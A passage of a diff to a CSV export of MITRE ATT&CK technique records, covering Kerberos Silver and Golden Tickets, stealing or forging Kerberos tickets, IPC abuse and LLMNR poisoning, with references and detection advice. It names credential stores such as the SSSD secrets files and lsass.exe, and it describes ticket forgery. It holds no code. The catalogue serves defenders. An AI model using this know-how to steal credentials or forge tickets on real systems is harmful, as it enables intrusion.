Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'source_name': 'ADSecurity Detecting Forged Tickets'}, {'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea', 'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.0,True,https://attack.mitre.org/techniques/T1558/002,mitre-attack,T1558.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Silver Ticket,"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) +Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",['execution'],https://attack.mitre.org/techniques/T1559,mitre-attack,T1559,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",False,"['Administrator', 'User', 'SYSTEM']","['Windows', 'macOS']",True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/002', 'external_id': 'T1558.002'}, {'source_name': 'ADSecurity Silver Tickets', 'description': 'Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.', 'url': 'https://adsecurity.org/?p=2011'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}]",1.0,attack-pattern,attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:14:48.309Z,2020-03-25T21:46:46.831Z,Silver Ticket,"Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) -Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27,attack-pattern,['credential-access'],2020-03-25T21:46:46.831Z,2020-02-11T19:14:48.309Z,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) +Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",['credential-access'],https://attack.mitre.org/techniques/T1558/002,mitre-attack,T1558.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Logon Session: Logon Session Metadata'],,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) -Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",['Logon Session: Logon Session Metadata'],,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1558.001', 'url': 'https://attack.mitre.org/techniques/T1558/001'}, {'url': 'https://adsecurity.org/?p=1640', 'description': 'Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.', 'source_name': 'AdSecurity Kerberos GT Aug 2015'}, {'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'source_name': 'CERT-EU Golden Ticket Protection'}, {'url': 'https://adsecurity.org/?p=1515', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'source_name': 'ADSecurity Detecting Forged Tickets'}, {'description': 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.', 'url': 'https://adsecurity.org/?p=483', 'source_name': 'ADSecurity Kerberos and KRBTGT'}, {'source_name': 'Stealthbits Detect PtT 2019', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.1,True,https://attack.mitre.org/techniques/T1558/001,mitre-attack,T1558.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Golden Ticket,"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558/001', 'external_id': 'T1558.001'}, {'source_name': 'AdSecurity Kerberos GT Aug 2015', 'description': 'Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.', 'url': 'https://adsecurity.org/?p=1640'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'ADSecurity Kerberos and KRBTGT', 'description': 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.', 'url': 'https://adsecurity.org/?p=483'}, {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'}]",1.1,attack-pattern,attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:13:33.643Z,2020-11-05T16:07:03.779Z,Golden Ticket,"Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets) -The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1,attack-pattern,['credential-access'],2020-11-05T16:07:03.779Z,2020-02-11T19:13:33.643Z,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) +The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",['credential-access'],https://attack.mitre.org/techniques/T1558/001,mitre-attack,T1558.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Itamar Mizrahi, Cymptom']","['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. -","['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']","['Itamar Mizrahi, Cymptom']",,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1558', 'url': 'https://attack.mitre.org/techniques/T1558'}, {'external_id': 'CAPEC-652', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/652.html'}, {'source_name': 'ADSecurity Kerberos Ring Decoder', 'url': 'https://adsecurity.org/?p=227', 'description': 'Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020.'}, {'url': 'https://adsecurity.org/?p=1515', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'source_name': 'ADSecurity Detecting Forged Tickets'}, {'source_name': 'Stealthbits Detect PtT 2019', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.'}, {'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'source_name': 'CERT-EU Golden Ticket Protection'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.'}, {'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'source_name': 'Microsoft Detecting Kerberoasting Feb 2018'}, {'url': 'https://adsecurity.org/?p=2293', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'source_name': 'AdSecurity Cracking Kerberos Dec 2015'}, {'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea', 'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]",1.2,False,https://attack.mitre.org/techniques/T1558,mitre-attack,T1558,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Steal or Forge Kerberos Tickets,"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). +",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1558', 'external_id': 'T1558'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/652.html', 'external_id': 'CAPEC-652'}, {'source_name': 'ADSecurity Kerberos Ring Decoder', 'description': 'Sean Metcalf. (2014, September 12). Kerberos, Active Directory’s Secret Decoder Ring. Retrieved February 27, 2020.', 'url': 'https://adsecurity.org/?p=227'}, {'source_name': 'Microsoft Klist', 'description': 'Microsoft. (2021, March 3). klist. Retrieved October 14, 2021.', 'url': 'https://docs.microsoft.com/windows-server/administration/windows-commands/klist'}, {'source_name': 'MIT ccache', 'description': 'Massachusetts Institute of Technology. (n.d.). MIT Kerberos Documentation: Credential Cache. Retrieved October 4, 2021.', 'url': 'https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html'}, {'source_name': 'Linux Kerberos Tickets', 'description': 'Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html'}, {'source_name': 'Brining MimiKatz to Unix', 'description': 'Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.', 'url': 'https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf'}, {'source_name': 'Kekeo', 'description': 'Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.', 'url': 'https://github.com/gentilkiwi/kekeo'}, {'source_name': 'SpectorOps Bifrost Kerberos macOS 2019', 'description': 'Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.', 'url': 'https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f'}, {'source_name': 'macOS kerberos framework MIT', 'description': 'Massachusetts Institute of Technology. (2007, October 27). Kerberos for Macintosh Preferences Documentation. Retrieved October 6, 2021.', 'url': 'http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html'}, {'source_name': 'ADSecurity Detecting Forged Tickets', 'description': 'Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.', 'url': 'https://adsecurity.org/?p=1515'}, {'source_name': 'Stealthbits Detect PtT 2019', 'description': 'Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020.', 'url': 'https://blog.stealthbits.com/detect-pass-the-ticket-attacks'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}, {'source_name': 'Microsoft Kerberos Golden Ticket', 'description': 'Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020.', 'url': 'https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285'}, {'source_name': 'Microsoft Detecting Kerberoasting Feb 2018', 'description': 'Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.', 'url': 'https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/'}, {'source_name': 'AdSecurity Cracking Kerberos Dec 2015', 'description': 'Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.', 'url': 'https://adsecurity.org/?p=2293'}, {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'}]",1.3,attack-pattern,attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:12:46.830Z,2021-10-14T22:56:22.054Z,Steal or Forge Kerberos Tickets,"Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. + +On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist) + +Linux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the ""ccache"". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) + -Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.",attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a,attack-pattern,['credential-access'],2020-11-05T16:07:04.189Z,2020-02-11T19:12:46.830Z,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) +Kerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT) +",['credential-access'],https://attack.mitre.org/techniques/T1558,mitre-attack,T1558,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tim (Wadhwa-)Brown', 'Cody Thomas, SpecterOps']","['File: File Access', 'Command: Command Execution', 'Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection) Monitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket) @@ -1432,36 +1622,38 @@ Monitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015) -Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.","['Active Directory: Active Directory Credential Request', 'Logon Session: Logon Session Metadata']",,,,['Windows'],,CAPEC-652,https://capec.mitre.org/data/definitions/652.html,['Kerberos authentication enabled'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1557.001', 'url': 'https://attack.mitre.org/techniques/T1557/001'}, {'url': 'https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution', 'description': 'Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.', 'source_name': 'Wikipedia LLMNR'}, {'url': 'https://technet.microsoft.com/library/cc958811.aspx', 'description': 'Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.', 'source_name': 'TechNet NetBIOS'}, {'source_name': 'byt3bl33d3r NTLM Relaying', 'url': 'https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html', 'description': 'Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.'}, {'source_name': 'Secure Ideas SMB Relay', 'url': 'https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html', 'description': 'Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.'}, {'url': 'https://github.com/nomex/nbnspoof', 'description': 'Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.', 'source_name': 'GitHub NBNSpoof'}, {'url': 'https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response', 'description': 'Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.', 'source_name': 'Rapid7 LLMNR Spoofer'}, {'url': 'https://github.com/SpiderLabs/Responder', 'description': 'Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.', 'source_name': 'GitHub Responder'}, {'url': 'https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning', 'description': 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.', 'source_name': 'Sternsecurity LLMNR-NBTNS'}, {'url': 'https://github.com/Kevin-Robertson/Conveigh', 'description': 'Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.', 'source_name': 'GitHub Conveigh'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]",1.0,True,https://attack.mitre.org/techniques/T1557/001,mitre-attack,T1557.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,LLMNR/NBT-NS Poisoning and SMB Relay,"By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. +Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. + +Monitor for unusual processes accessing secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.",False,"['User', 'root']","['Windows', 'Linux', 'macOS']",,CAPEC-652,https://capec.mitre.org/data/definitions/652.html,['Kerberos authentication enabled'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1557/001', 'external_id': 'T1557.001'}, {'source_name': 'Wikipedia LLMNR', 'description': 'Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.', 'url': 'https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution'}, {'source_name': 'TechNet NetBIOS', 'description': 'Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.', 'url': 'https://technet.microsoft.com/library/cc958811.aspx'}, {'source_name': 'byt3bl33d3r NTLM Relaying', 'description': 'Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.', 'url': 'https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html'}, {'source_name': 'Secure Ideas SMB Relay', 'description': 'Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.', 'url': 'https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html'}, {'source_name': 'GitHub NBNSpoof', 'description': 'Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.', 'url': 'https://github.com/nomex/nbnspoof'}, {'source_name': 'Rapid7 LLMNR Spoofer', 'description': 'Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.', 'url': 'https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response'}, {'source_name': 'GitHub Responder', 'description': 'Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.', 'url': 'https://github.com/SpiderLabs/Responder'}, {'source_name': 'Sternsecurity LLMNR-NBTNS', 'description': 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.', 'url': 'https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning'}, {'source_name': 'GitHub Conveigh', 'description': 'Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.', 'url': 'https://github.com/Kevin-Robertson/Conveigh'}]",1.2,attack-pattern,attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T19:08:51.677Z,2021-09-28T13:09:50.809Z,LLMNR/NBT-NS Poisoning and SMB Relay,"By responding to 